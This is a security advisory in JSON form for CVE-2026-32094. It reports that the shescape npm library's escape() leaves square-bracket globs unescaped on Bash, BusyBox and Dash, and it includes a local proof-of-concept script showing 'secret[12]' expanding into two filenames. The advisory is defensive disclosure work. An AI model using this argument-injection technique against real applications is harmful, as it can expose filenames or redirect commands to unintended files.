CVE-2026-32094: Shescape Shescape Escape() Leaves Bracket Glob Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9jfh-9xrq-4vwm",
  "modified" : "2026-03-11T21:38:09Z",
  "published" : "2026-03-11T19:53:53Z",
  "aliases" : [ "CVE-2026-32094" ],
  "summary" : "Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash",
  "details" : "### Summary\n\n`Shescape#escape()` does not escape square-bracket glob syntax for Bash, BusyBox `sh`, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like `secret[12]` to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.\n\n### Details\n\nThe unquoted Unix escape helpers never add `[` or `]` to their “special characters” regexes:\n\n- `src/internal/unix/bash.js:14-30`\n- `src/internal/unix/busybox.js:14-30`\n- `src/internal/unix/dash.js:12-19`\n\nThey escape `*`/`?` but not brackets, so `new Shescape({ shell: \"/usr/bin/bash\" }).escape(\"secret[12]\")` still produces `secret[12]`. The fixtures (`test/fixtures/unix.js:2236-2265`, `3496-3525`, `5762-5792`) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends `Shescape#escape()` as the fallback for `exec` when quoting isn’t possible (`docs/recipes.md:154-183`).\n\n### Proof of Concept\n\nUse the published npm tarball without modifications:\n\n```shell\ntmp=$(mktemp -d)\ncd \"$tmp\"\nnpm pack shescape@2.1.9 >/dev/null\nmkdir pkg\ntar -xzf shescape-2.1.9.tgz -C pkg\ncd pkg/package\nnpm install --omit=dev\n\nnode --input-type=module - <<'NODE'\nimport { mkdtempSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport path from \"node:path\";\nimport { execSync } from \"node:child_process\";\nimport { Shescape } from \"./src/index.js\";\n\nconst dir = mkdtempSync(path.join(tmpdir(), \"shescape-ghsa-poc-\"));\nwriteFileSync(path.join(dir, \"secret1\"), \"\");\nwriteFileSync(path.join(dir, \"secret2\"), \"\");\n\nfor (const shell of [\"/usr/bin/bash\", \"/usr/bin/dash\"]) {\n  const shescape = new Shescape({ shell });\n  const escaped = shescape.escape(\"secret[12]\");\n  console.log(${shell} escaped=${escaped});\n  const out = execSync(printf '<%s>\\\\n' ${escaped}, { cwd: dir, shell }).toString();\n  process.stdout.write(out);\n}\nNODE\n```\n\nOutput:\n\n```text\n/usr/bin/bash escaped=secret[12]\n<secret1>\n<secret2>\n/usr/bin/dash escaped=secret[12]\n<secret1>\n<secret2>\n```\n\nExpected: the shell receives `secret\\[12\\]`, so only one literal argument runs.\n\n### Impact\n\nArgument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling `Shescape#escape()` with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "shescape"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-9jfh-9xrq-4vwm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32094"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ericcornelissen/shescape/pull/2410"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ericcornelissen/shescape"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T19:53:53Z",
    "nvd_published_at" : "2026-03-11T20:16:17Z"
  }
}